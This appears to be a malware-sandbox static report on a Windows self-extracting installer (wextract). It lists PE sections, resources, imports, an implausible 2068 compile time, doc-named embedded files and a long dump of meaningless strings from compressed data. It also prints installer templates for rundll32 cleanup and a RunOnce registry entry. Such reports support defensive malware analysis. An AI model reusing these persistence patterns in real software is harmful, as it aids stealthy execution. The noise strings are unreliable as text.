Static | ZeroBOX

PE Compile Time

2068-06-21 15:07:02

PDB Path

wextract.pdb

PE Imphash

646167cce332c1c252cdcb1839e0cf48

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00001000 0x000062c4 0x00006400 6.30394838051
.data 0x00008000 0x00001a48 0x00000200 4.97063954396
.idata 0x0000a000 0x00001052 0x00001200 5.02089703405
.rsrc 0x0000c000 0x000f0e2e 0x000f1000 7.77947383122
.reloc 0x000fd000 0x00000888 0x00000a00 6.27286379786

Resources

Name Offset Size Language Sub-language File type
AVI 0x0000c878 0x00002e1a LANG_ENGLISH SUBLANG_ENGLISH_US RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002c18c 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_DIALOG 0x0002cef0 0x00000120 LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_DIALOG 0x0002cef0 0x00000120 LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_DIALOG 0x0002cef0 0x00000120 LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_DIALOG 0x0002cef0 0x00000120 LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_DIALOG 0x0002cef0 0x00000120 LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_DIALOG 0x0002cef0 0x00000120 LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_ACCELERATOR 0x0002d0b8 0x00000070 LANG_DUTCH SUBLANG_DUTCH_BELGIAN data
RT_ACCELERATOR 0x0002d0b8 0x00000070 LANG_DUTCH SUBLANG_DUTCH_BELGIAN data
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_RCDATA 0x000fc1f4 0x00000007 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with no line terminators
RT_GROUP_ICON 0x000fc1fc 0x00000084 LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_VERSION 0x000fc280 0x000003cc LANG_ENGLISH SUBLANG_ENGLISH_US data
RT_MANIFEST 0x000fc64c 0x000007e2 LANG_ENGLISH SUBLANG_ENGLISH_US XML 1.0 document, ASCII text, with CRLF line terminators

Imports

Library ADVAPI32.dll:
0x40a000 GetTokenInformation
0x40a004 RegDeleteValueA
0x40a008 RegOpenKeyExA
0x40a00c RegQueryInfoKeyA
0x40a010 FreeSid
0x40a014 OpenProcessToken
0x40a018 RegSetValueExA
0x40a01c RegCreateKeyExA
0x40a028 RegQueryValueExA
0x40a02c EqualSid
0x40a030 RegCloseKey
Library KERNEL32.dll:
0x40a060 _lopen
0x40a064 _llseek
0x40a068 CompareStringA
0x40a06c GetLastError
0x40a070 GetFileAttributesA
0x40a074 GetSystemDirectoryA
0x40a078 LoadLibraryA
0x40a07c DeleteFileA
0x40a080 GlobalAlloc
0x40a084 GlobalFree
0x40a088 CloseHandle
0x40a090 IsDBCSLeadByte
0x40a098 SetFileAttributesA
0x40a09c GetProcAddress
0x40a0a0 GlobalLock
0x40a0a4 LocalFree
0x40a0a8 RemoveDirectoryA
0x40a0ac FreeLibrary
0x40a0b0 _lclose
0x40a0b4 CreateDirectoryA
0x40a0c0 GlobalUnlock
0x40a0c4 ReadFile
0x40a0c8 SizeofResource
0x40a0cc WriteFile
0x40a0d0 GetDriveTypeA
0x40a0d4 lstrcmpA
0x40a0d8 SetFileTime
0x40a0dc SetFilePointer
0x40a0e0 FindResourceA
0x40a0e4 CreateMutexA
0x40a0f4 FreeResource
0x40a0f8 GetVersion
0x40a100 GetTempPathA
0x40a108 CreateFileA
0x40a10c SetEvent
0x40a110 TerminateThread
0x40a114 GetVersionExA
0x40a118 LockResource
0x40a11c GetSystemInfo
0x40a120 CreateThread
0x40a124 ResetEvent
0x40a128 LoadResource
0x40a12c ExitProcess
0x40a130 GetModuleHandleW
0x40a134 CreateProcessA
0x40a138 FormatMessageA
0x40a13c GetTempFileNameA
0x40a144 CreateEventA
0x40a148 GetExitCodeProcess
0x40a14c FindNextFileA
0x40a150 LocalAlloc
0x40a154 GetShortPathNameA
0x40a158 MulDiv
0x40a15c GetDiskFreeSpaceA
0x40a164 GetTickCount
0x40a16c GetCurrentThreadId
0x40a170 GetCurrentProcessId
0x40a178 TerminateProcess
0x40a184 GetStartupInfoW
0x40a188 Sleep
0x40a18c FindClose
0x40a190 GetCurrentProcess
0x40a194 FindFirstFileA
0x40a198 WaitForSingleObject
0x40a19c GetModuleFileNameA
0x40a1a0 LoadLibraryExA
Library GDI32.dll:
0x40a058 GetDeviceCaps
Library USER32.dll:
0x40a1a8 SetWindowLongA
0x40a1ac GetDlgItemTextA
0x40a1b4 ShowWindow
0x40a1bc SetWindowPos
0x40a1c0 GetDC
0x40a1c4 GetWindowRect
0x40a1c8 DispatchMessageA
0x40a1cc GetDesktopWindow
0x40a1d0 CharUpperA
0x40a1d4 SetDlgItemTextA
0x40a1d8 ExitWindowsEx
0x40a1dc MessageBeep
0x40a1e0 EndDialog
0x40a1e4 CharPrevA
0x40a1e8 LoadStringA
0x40a1ec CharNextA
0x40a1f0 EnableWindow
0x40a1f4 ReleaseDC
0x40a1f8 SetForegroundWindow
0x40a1fc PeekMessageA
0x40a200 GetDlgItem
0x40a204 SendMessageA
0x40a208 SendDlgItemMessageA
0x40a20c MessageBoxA
0x40a210 SetWindowTextA
0x40a214 GetWindowLongA
0x40a218 CallWindowProcA
0x40a21c GetSystemMetrics
Library msvcrt.dll:
0x40a234 _controlfp
0x40a238 ?terminate@@YAXXZ
0x40a23c _acmdln
0x40a240 _initterm
0x40a244 __setusermatherr
0x40a24c memcpy
0x40a250 _ismbblead
0x40a254 __p__fmode
0x40a258 _cexit
0x40a25c _exit
0x40a260 exit
0x40a264 __set_app_type
0x40a268 __getmainargs
0x40a26c _amsg_exit
0x40a270 __p__commode
0x40a274 _XcptFilter
0x40a278 memcpy_s
0x40a27c _vsnprintf
0x40a280 memset
Library COMCTL32.dll:
0x40a03c None
Library Cabinet.dll:
0x40a044 None
0x40a048 None
0x40a04c None
0x40a050 None
Library VERSION.dll:
0x40a224 GetFileVersionInfoA
0x40a228 VerQueryValueA

!This program cannot be run in DOS mode.
`.data
.idata
@.rsrc
@.reloc
advapi32.dll
CheckTokenMembership
Reboot
AdvancedINF
Version
setupx.dll
setupapi.dll
SeShutdownPrivilege
advpack.dll
DelNodeRunDLL32
wininit.ini
Software\Microsoft\Windows\CurrentVersion\App Paths
HeapSetInformation
EXTRACTOPT
INSTANCECHECK
VERCHECK
DecryptFileA
LICENSE
<None>
REBOOT
SHOWWINDOW
ADMQCMD
USRQCMD
RUNPROGRAM
POSTRUNPROGRAM
FINISHMSG
LoadString() Error. Could not load string resource.
CABINET
FILESIZES
PACKINSTSPACE
UPROMPT
IXP%03d.TMP
msdownld.tmp
TMP4351$.TMP
RegServer
UPDFILE%lu
Control Panel\Desktop\ResourceLocale
wextract.pdb
.rdata$brc
.CRT$XCA
.CRT$XCAA
.CRT$XCZ
.CRT$XIA
.CRT$XIAA
.CRT$XIY
.CRT$XIZ
.gfids
.rdata
.rdata$sxdata
.rdata$zzzdbg
.text$mn
.xdata$x
.idata$5
.00cfg
.idata$2
.idata$3
.idata$4
.idata$6
.rsrc$01
.rsrc$02
PQQQQQQh
PSSSSSSh
D$<tXh
PVVVVVV
|$$95(
D$HjDj
WWj WWWSW
<At <Bt
Sj@Sh@
jXhhr@
DSystem\CurrentControlSet\Control\Session Manager
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"
Software\Microsoft\Windows\CurrentVersion\RunOnce
wextract_cleanup%d
rundll32.exe %s,InstallHinfSection %s 128 %s
PendingFileRenameOperations
DefaultInstall
Command.com /c %s
%s /D:%s
System\CurrentControlSet\Control\Session Manager\FileRenameOperations
SHELL32.DLL
DoInfInstall
SHBrowseForFolder
SHGetPathFromIDList
*MEMCAB
GetTokenInformation
RegDeleteValueA
RegOpenKeyExA
RegQueryInfoKeyA
FreeSid
OpenProcessToken
RegSetValueExA
RegCreateKeyExA
LookupPrivilegeValueA
AllocateAndInitializeSid
RegQueryValueExA
EqualSid
RegCloseKey
AdjustTokenPrivileges
ADVAPI32.dll
GetShortPathNameA
GetModuleFileNameA
FindFirstFileA
GetCurrentProcess
FindNextFileA
ExpandEnvironmentStringsA
FindClose
LocalAlloc
lstrcmpA
_lopen
_llseek
CompareStringA
GetLastError
GetFileAttributesA
GetSystemDirectoryA
LoadLibraryA
DeleteFileA
GlobalAlloc
GlobalFree
CloseHandle
WritePrivateProfileStringA
IsDBCSLeadByte
GetWindowsDirectoryA
SetFileAttributesA
GetProcAddress
GlobalLock
LocalFree
RemoveDirectoryA
FreeLibrary
_lclose
CreateDirectoryA
GetPrivateProfileIntA
GetPrivateProfileStringA
GlobalUnlock
ReadFile
SizeofResource
WriteFile
GetDriveTypeA
LoadLibraryExA
SetFileTime
SetFilePointer
FindResourceA
CreateMutexA
GetVolumeInformationA
WaitForSingleObject
GetCurrentDirectoryA
FreeResource
GetVersion
SetCurrentDirectoryA
GetTempPathA
LocalFileTimeToFileTime
CreateFileA
SetEvent
TerminateThread
GetVersionExA
LockResource
GetSystemInfo
CreateThread
ResetEvent
LoadResource
ExitProcess
GetModuleHandleW
CreateProcessA
FormatMessageA
GetTempFileNameA
DosDateTimeToFileTime
CreateEventA
GetExitCodeProcess
KERNEL32.dll
GetDeviceCaps
GDI32.dll
GetDesktopWindow
CharUpperA
SetDlgItemTextA
ExitWindowsEx
MessageBeep
EndDialog
CharPrevA
LoadStringA
CharNextA
EnableWindow
ReleaseDC
SetForegroundWindow
PeekMessageA
GetDlgItem
SendMessageA
SendDlgItemMessageA
MessageBoxA
SetWindowTextA
GetWindowLongA
CallWindowProcA
SetWindowLongA
GetDlgItemTextA
DialogBoxIndirectParamA
ShowWindow
MsgWaitForMultipleObjects
SetWindowPos
GetWindowRect
DispatchMessageA
USER32.dll
_vsnprintf
memcpy_s
_XcptFilter
__p__commode
_amsg_exit
__getmainargs
__set_app_type
_cexit
__p__fmode
_ismbblead
__setusermatherr
_initterm
_acmdln
msvcrt.dll
?terminate@@YAXXZ
_controlfp
_except_handler4_common
COMCTL32.dll
Cabinet.dll
GetFileVersionInfoSizeA
VerQueryValueA
GetFileVersionInfoA
VERSION.dll
GetStartupInfoW
UnhandledExceptionFilter
SetUnhandledExceptionFilter
TerminateProcess
QueryPerformanceCounter
GetCurrentProcessId
GetCurrentThreadId
GetSystemTimeAsFileTime
GetTickCount
EnumResourceLanguagesA
GetDiskFreeSpaceA
MulDiv
GetSystemMetrics
memcpy
memset
AVI LIST
hdrlavih8
strlstrh8
vidsRLE
LISTv$
movi00dc(
uIDATx
(JHNN.
+%%ekdd
7n\TTT
[222>~
;H {m\
DQYY92;;
YYYg+**N
#>****
:E;=W9
DRWVVv
")+//?
F5h[H:
H:*t=<
g;z3dl
{hSFmC
b&X[j#
###Xggg
&&&Tkkk
<None>
Conduco.docx
Impedire.docx
Appartiene.docx
Sta.docx
Ww@Z#XFG
Mh!.}K
[*oJ2
Lb}qj`
{x>Vcx.
EpgX?Z
lDX66`
qfG2_U
GjxjH5
#P2Jac
3)?/~xV
V")UD7
i.FN@<
H@+H36M
(Axz\=-S
)m3OG "
TKW,u&UCH
@#L*$k
k\Y/jP
]`|-7
LGBe{K
le67}z
77b'e0
+}_5EH<;
6 7n@-G
ew&9R^
ophqKJ~
u#-\cf
kl0qCz
B!@h-^|
tZE!*y
48R@+&
|O&3;<R
ok]+}0
>jkf:
wEw@uk
CAK/3d
Z(FL/
`DBsZq
6nvNO)T
@8M,i'
pk]GLY
(!S@50^|qQF
N<Eq@)->9
h*;/m0
RK(t6$
~ZgXCh+
d&}|`D
/_|>!:R
&)(0c>Zf'
Rc[#P3
!nMn,w |
A]qE}d
"lzyTA
g"0)3
)_Mu*i
gw:AxaH
In;1r)
H.0|78M
z@bSElb
zJ|N_?
[msRJZ
t$BWLmU
F4Ni(\
T(gzcL
ci!*N|o
)8X\:8<K
%:>3t^
-*)>{m
jJ*Mto
PGi\By
uo;":]
zky9j'l
S}*h/]
&^RE|t
0z(x*{[
#c!n-{wu
`}f]w7h
R' ~Pq
gPU 49P~j
]b%KNLDK
{Pv5qw
->G0G(
/+J!3e
M0,?SNhM6
^8@s3ra
JIi>4QZ)U
-mH<qT
HCOF'@
jBt|Zs
|U)UUeU
HYV4<z'
vBm>UU!tv
rUU<SJ
'U\UUeU
RUUYU{J'
:/iD*%
Gh/0b
T$F! m
gCI`J1O
\IOuYIc
8$/(b*
a=*m0eG%r
O\kL]/;UqP4
}Y:}:cTx:8(
!6QH\>~
7\w)9Y
e{r,x9
TtgK>V
70&#P'
sgJ'?b
^-+lLI;u
Lnd!+N
|6yH\$C
W..JA7
wXq"MS
:GKHX1+#
_uEI6Y
V b&US
KAT%nP
fuBCDkb
GxULjd
Q1&~d~
C#oO$N
8X8n<2d
^3ST_3
^:)g%0
;}RkZ~
M1!;yQH
KuAFp*
,m2%mL
&>hc_
Ddte(
JJ,}Mi]/Bp
= /$ce
*@K6Lh?])c
RE4"HQ
"53zdF
MUgJRZW
/YL%km
a4r)PCK
"}"2$E:Z
Z|%';J
IzOJ!g
LZLZLZLZ
C_H}9a
I{s@8e
X}}1!b
o-jmnC
u$]WeH
z3Id(PR
a\=O@[
sNXQYE
)[+CU
*f:y@@S
LfSP)k)
Ry2eLT
d_l/[T
E/<SGH
D%Y|5X>
$TR~C@!~vSpI
)=nBu%
\+F +']B
l&0HmN
hS'{r
S/\H+j
9{2T?K
0VaT>|
&J8hZf
~zn9Ln
,t>3%&
vSxXmG
;3}nN
sVV7\1
5f^)7J
r&*h TM9
LZ/cUO
D>?x^9
x3;fZ|f
96bH|)r-
obFxy|
8:Oe(
>NAP6);
l1aUm#
yo\s"p
TF!@5
?v@rP0
DEZoWR5
X-cz3X
3}Vh;Q
xE{Lu6N
0 A~;*
RQ"X5$
I.YSN#
Gi>,%;
VyxhKN
e0/y=pEP
e5K:Ce
ya5{rE
N9.fx_f
u"#b8A-
<029f8gW'0
{!UgN)Q
~56TbwG
5R2rc^f
%Cn>2
tCMJo|
DY~WB}
N22H'~R
Wc6)cr
l!s`LZ
EKAn6!
QwTZvX
[iGT,a
#8I.}WZ
|QJ=@.
N::c``
yx!r+12
lRDhR!
$0p(:,
IOwz(ea
kV~ M<
2I#Of?
#NgS_f
"v#B;Z2-:]
0\heU5
s3#|Ir
*WY\+gS
]C@4CS
Z:KoDhf
>/QQI4
^&_H!J7
-l(%!]
3-XK1BZ(
nT3+}_
yBeQD8D
WyYLUZ3
,>XhP8
oMlIl8
O:\td,WA
O2jC~\g
^.6JLqV
*gF.U
H%&_{^:
}@'c?6
f}|{Fq'
aJGsRfF
3R{aM*
1+,.Ph
.l<9X(,{
_OHh/^
^aK1s_
O$c&dU
>E"2!RB
&(1rOV
,%f5x6
:EXMmU
4BUaE`
5#p5LA
R ul!)
9&c~-J
?8K<fW
0#zV##O
K;J/$2
/lEGlV
5Axvy%
PPvzS3
CMu>h02M
W+HqMo)
[^a=!S%1
qOt^*/
pA?k[
-Z~pD.~
Z5h?rHxr
`m?7Y(
B^jA$G>
^>K(Jy
X[7y;~Vo
' (\p5.
{LO77\
YkL=RKv
W.QmH;
mm&=pT
%AG1!L
{ F!,X
QCpWNR
*l(8BN
!WpDiV
SHm%?"sBI
X22PM]
]4,WKuE
bFA, -:
?Sd-h
U{:d #
j-IBk+
UM5!:R
YJrH7B
# FBlura
MR,[Tn5
gbJT]l
f}>+!.
x!)a8=i
k.5Z9&
Br?X${
Xz:.dd
Y:}]|<F
eb&yeRXC
*7w4{wE<
^uz}zf
yibl+-S
\e;3,^#
F"2YZ_p7c
8rzotG
[og%3v
>k'[*l
uN45e:"
^}Ri1bC
F6d>2^
Y09cJL:
j{obNI
RfP_I\
SG2<3ww\
![cOy-BU@0^.
go"f]P
Aqc1=;
K#9\Y
o"_ERT
DQT(!Y
||@,A@6
<6\-!?]
S4P{;d
DDst3.4
=9%dYv
;,%@g8
t1"nC&
.'O/Wz
&S89f<
ri1k,E#^
[{(?O>
87t=)g
72PWTK
VcK;B;q
TDu-im
OpW1n[
k/!bidi
l dz?FK
M'-!.S
6(2eI~
/|:+y(
BB~GRw
)mBL$hF
wO"H%W
.G`7pH
'=.(]r
qBepB#YN
@y=7Aq
XTqdKg
NgJ+p%
549@qG
z;iCfkG
UBy<s
YSDL!1
hw,N/'
e<T/pS
;~C}U0
6ugEF6
,",2"0
0Sh7eD>!
zb]R;T'
[-Jl2q
w caW[
z&`_^ x
d1[)y
#_z<o+
b&'+]O
M&T??1
v5{}!6+
q}nEpE
{WF0J*IX
,;(xk
[9'bCU
Tki~vH]
t @!7iEHC
VV<Bv-l
6DK+<wk"&
9EZkIJo
!#Lu_Q
]$8\x
{@a@ma
@q/8O#
#fgbyC(
Q>KADa
H1O%f,z
'SLWan0
M,y9%8O
KrC@Zl
IHTTS1aq
:JK7,Y
uqJFwI{
&8}\}[;xw
nr@{Wc
TZl2kb
wc&j;A.
SG>E0b
#{XvCK
7RDkSd
3+_ 7=
~2{$+A
N;cu'#V
poY"Mp
3Mj'X~
P(Ph~p
48%:C%
&Q`KFP
m/GlFY
-FPt3w?C
oL~e^^
uvP:2OP_
}\L>c2>
bF-<q2
igW@Dz
,&6_Ra
GA`UzWUj
)T!KHw
.5CTO)
}#U;>R
2f(uxo
/$j1<@HL
v7Fsy%F2
Zn ]tFi
[7&X>v
Q!.$JX
kr=Z$-
oO_^~Y
(h&B+8
:$IF>Oe@
Sf=AQa
xnssKg
\G0Y49
|Ey}}-s
GXUQBB~
jP s-T
&*o3?l
rfg8F
+p!5wr:0
?l9<~y
Xq|yCr
@H6{:2
3>RvWH
CO7u82-=/
9I+x)1
p9:{+R
6YgG?i
KY7_;iu
^+862L
bEt'ks
.r^eM'N
)*Q#0p
0E/P$2
WxxALD
&.4HQ]
gKz'mj
,:;M&]
hOC"xA
WQ|QxF4
{YM#.S
J7hg]r3
M^X=VK+|
0{v(^Jk
vs}Fd}
\O)uIs
]t+>MF
XXZ]=4uV
*hc^i3B
af~'y~
u%#F~m%
{rB$7B
tB1OuW
]^}lB=Zk
cmP|Jb
jW5.jW
kTPu1#
6||KW-
;lme3LN/
2B sqr
Wp4Pry
@Y!1*&\
#(F/zO
14$U?IN
HS:!I+
c9{G$%
<!9CX\
"LJ~F
1b8?j`
/4s)23
^1b$W
cei)sc+
0nhq<V
YoGN *9
loFu&v8sb
P w5.q
!+#<x&
@$b!"#4
Ui}?y^
=3R.p\
7_|?!U-}
jp$Hln
Jlt~uJ
E|s[\e
#/-.Iq
EAMIUQ
3cC;6M
~MYSib(
}fLtB ^
e;?D]Q
ksK/Bvc
fzHx%+
2u551+
>C`.)0
_h[4F6)Q
Z`S/zS
Jfb`O
hPzM3\
ASBL/[P9
;LECC,^9
^>Vt\b
g`6eK?
}|4o5 B
5 To*jW
2r.Ik7G
59n$yP
tr20)d
jvf:8L
|WKa,2
*4 c?q
C<"TSYvC
x;ZkT
fS[Dz*y
E2|7.Mh
+rMxv~
Bp,k%8
'28e2$
X~'^0Xh
SZK;BysT
Ov z+W
(T?W/d
li`/79a
w&J~vl
+k~JyYS
SeDv8
mWM:m`n
~n(`}
JDW3<Ur
C/|=J/
wm1qvC
s72<6C
t&G`7x
3f[}$%
/f:s!(
xu+XKQ
&;K%N|C
_?&<?Y
ZOq.x&"F
Iv&4Nd\
6v4v41X
cy#"PFl=
.jiJk:
'KuVdrL
%Hm4mk#
a%1;&S
o]63A,
},MJ{X
debgS*
*J=GI
Ikc:-9
qo@;mm
d&=E<bZSq
nB/iD<&
>h^aCh
UcM'2~l!4
7WJ!QV
Z)au@wo
NP+@vY
urhQZ6
'A$!l]lR
Quyyl
=;D\#$
&rDu3L
r*<>@J
UGMVPR
\)w?Uj
dHkERy
QmuI:l
6UZZW&
;_5<]m5
!Q/6AN
K\3jfCi
'l\=@[
C0X$x,e
)wKeS![
9-cuof
VwUl~iO
u5+-{T
D.j%tH
QQ[RuT
.W`3*;
m-mAII,mf
W/^+:f
Gd]6s$
18w&Z:
gbUVUDDD7V
\LE/{},Trs&:
sL41 -
N)!Y.[
B^ArLG
dlw_yQ:
/.;F~`j
eFXkVCs
{}vBE;
EqzH=A]n
,[w}Gr
_@{cLg
u1)f=gtC
[%"lEChCc
Qefv1H
.=?E:t=
nhO}VF
> mZsXW
Dqq\]5O
#ugV<Fq
z\/,9)v
er4VKAr
V*"42
2w__v1
XDJT)F
E3B,/K
Mo9B,=
qSAFDwF?
pXs%:
Lo47M`A|
8aR~Uv+
~j}RgM
Wb!?.^
o7[Z 8B
T3tzlhS
p"-E-X^
9T3~gtg
g**'\Nz
nFbnLi
\<HU)i
DZZQB/
/7j4Jc
4&Utd
(*pTA?
awvHmg
wjO@@;0
~.P_@]7
`z( iL
/%(lL4
kB*a m
i5bi^sA4
~%CrG
>6y<a%
RVb|- [
J:=FRU
A=75#s
CUi=k
66T3N?
sverih
%F%Itt
G#h:=k
4(:Lm!
|*UE+~
ZA0{xv
Zy>uU;$
,_F3Rp.
]Z-]V/
JE2fB7
Oo[#M~
zx-}Z"=
8sEAs\C7
4a&{v3
.8/-ma}
dcX)l8
yy2x8g
sr8-4(B
JVNgc#
Z35.QeG
Au&:tBL
1'aJ#?
yfbfI'
`wN#M5c
('xl**6
hF|h-F
d8:]KOF
9.Wd'z
udJ8*XD
.&t~F6
au'gKN
dEnJq\
+l&/Ldz
(sA0^J
^q8Rfw})
d'aokw
lg+:h@
&g^j+CyD>
/J2N,6
r-yj7K
Qq#38T
;M?k}d
dwc|*U
o"VA=cB
0R^$9,
)*L)ze
{.ZRE
YU<<0^
*pZ,CYY
y_[>vG<
i56q|8
Dxq^R-I/[
uO;+LQ
!o~*'O%z
Z9?p9S
>_7vvE
^wqV.x
{V67/x
@=)-2-
nOIo;s
y`p~@x
[=++lMN
PA<RS#
;]kp*L
K]yMZe`
=?Z0GO
$I@5?^
,1$PP_k
<Eb2x@
}WSV.A^SW[Ez
(66\zm
$b >_B
'":3(s
6P\uqt
?|~v5n&
-Egln.
+ jf?aCmb-
ulxx`d
dxPdc/
{m?;nM
=UDJcS
:yH(n>
Z?W^);=
&Y*Ufa
\~,6<'mh
\.P!|p
TV/J&a6
"KnZ(}
jV!34d
. +&)-|8GO
#/\hpb
--X|PP
pj~4",r
IK&lh.
6IpmVa@
'g#fF6O
%$ e2q`
/!+.99`
LmvrHf
g#]^*+
6h_yRZ(
1kds79
@NE'J9L
buOX]]_.
9r1tgJo)oM
cz{,e`
V[ffx^m;?
Z%sOdM
HLx 8J$j`
A/"ZeJ
Vcs+$f
i@Pik@
-ds`T!
-gehf)#
K*j`WB4R
#'-h-'[
FwZP~T
2PQc0{
DN@D)2
~NmUHZ
byC9)B
4u4}@F)
\*I/`9dH
Cu'ktK,
eKc2}T
Y@di&k
p2. u9
rGj,1
P@u2#-h]
gV@Y!\
cqqN%q
.cXHFe'P
GTpDt?
^xV,xF?(
)Qhw!h
ZNuP{$+
zNavPX
Vgh +}d
N|kan,
I{(JP$
\l%@L!!d
H<6Q$v
@b%q+.TF<
TX6N|G
Os!>n|
lZ(7kV
3~GAU3,J
zD,Eaz
0h38wj
f{'3,]
$AVV/"
A:5(pR;
p$0vH'*
+HxONa
Y#t&.K
F%2`Xr&j
~i+K4:
0m5oCg:s~
f/sy4?{#/
+C5fvF
h-.B6s
AGJ!49
]gFvRv
9\A'J
5%.CP-2
<\y{yN
vJ('4&
yW#0.P
]`'TIf
[q.TM#b
r]UC#1
C)uTX^]
Y620k#
w\mm|M
%+Kh[M
mOOjtM
g\42!k
w]Q` b
7/GSrR
Tnm@_,
5fL,ia!
xXX<PR
:V_8Y"
kVV\M`
(Gc$wG
MS7Erk
7N8<W"
m4V0'|.
4)f:8>X
e6R]4D
'b!+v*`W
|[FfT*T
BPjb,r7
qzGwo[
)bcgJ\J
xI@.y7
Q(UT)[
]_2AyG
k*RpwX
T&9@0L
MhzKC#
Sg<Sjo
\FrVLE
,A"dbh
uv6al
n*Z4~{Q^
!K&nX,
?w0W><2
:./[]d*
L)q-R}
(*vbRt7
C.J+(3_OP
y6LbFRA
H(H1\:7
O+bXe.
c~uUkm
A_BdZYV
29*3PD
L%*1u3
S+1>uv
Tm[hU|
,K.Spd
`~Z1-}B
BTT#+|
>(zMUJ{c
d[! ah
f'!=xV`
6trvf
>.e`t.UbA
15*rGZ
:w;q`.
7gl1]qc
2Lc:Y4
|e]CW#\1
`X0$jJu
6QT(`tSA
L#G3,3
A4mB35Q
*$)EA!k
ztJHA*
7E)0cO
#4r4|@j
[pT;$n
)-wa#BFQ
s%}5+D
<W*m,`
ZBi+)1>
l_)}`N-
I4ttULY
h%z*8XTO,
PL&kgf
9>VJM+
a>`MWI3
J&2&[.
da5oCf^
{%&+36E
BK,TO;
N~FKl^
UN>5LY
!Zz*+D
jPj8If
_hHlt|Z)n
tp|F8M
:\5d)&
l1vn$
N<qR*7
"Z6L%F
SZ$.*F
NAzZ,1
&!\BDn
WnZ 0l
1iKUX(,
;nxDRf
5o:?D-
j-f:pD
iwv2i]Jg=H
vJ.8A`3H
+n&"RE46*
K3TA}Y
evS 8
nXdUTi
8;'dnL
8k;k{2+N
zA_="t
c=BB/F
OmMmSi(
RUJ3Vh+I
uR$xK<
Oq$99N
h:rjh=$D
l;|@[,
>n9%o(}ZVPA
qO"Z3h+N
,@DmthP
5OZ%/]v
$W_\[
F8S"3\
?`<zuyh
rx8SLXp
!::!u7
Rl3/S$
_hq*:J
V:l m5
R6uY%_
8:)8yB
H`b(O*
$dG/~F
-5GEyUS
(FPd@/8p
*+8V6hzF
Tbyuie
TpR!}K1+
N52.6"
u]e I/[
QG6%SH
gV4f*F
GqXeg-
Dx`"B8
nUf(VA
mPH}
Pe,*fa
KM<Soh
g_6a%}
a9Q"q/%
E#]WC8V>
0$FEHN
.){43l%
G2=VVNI
=Xa2jU\
@fk5rN
:TQ(rQ
qwOIf}
q(|n~G%
r2uA^O
dc.}P
h`]V.uL
X*.TRl
4G'cg&
o;<Vtk
-T=oH
'~]N4
N1ICiq
^iWt,.
$iZ0'XRu
%Tj;hq
UzTiTO
n\FBZ>
Kb1G@*d|q1)*^B
\%F3wD
9=JNKK
pY8rF,
Ke9=5m
6EeCsZ
-}s=3q
@zR*!U
3/%=sMb
HCC(B
b]-&Gc
DBR9HQ
2z&%uB[\
8eS+j7A@
MKL9ff
v!dRnT
[_zhdb
uylf^u
IX!ESY"
Bw8tt[@
Wxl1:fS
O+2${N
gk_aD3/
ZWqyeg
NMF_Td
2Tb5h>
CT_&`.
uUR;x~
RW&UYy
[C^+@<
p7{SB
eWL>w{
;+~kn^-K
0C}0x^X
9OO{w}
6PH1bD.
lN#mBH
scEBZ
M9(xK
SB3fDLw
&.yRY|C
(RM4>&eO2
U.k7M'
*P.Uvz
P#28^4p
frO2"%}L
'K=*V9
[<1lD<
LQ:brR
gt]?I
q&"!T*Ff\
tZF$j\$B
DRg*mM
bT+'kNH
\smcd8
`6`D5z
xO^oZm
,prIziA
V={|%=%
}mH4X0$
R) Xa3
n%sl;,X
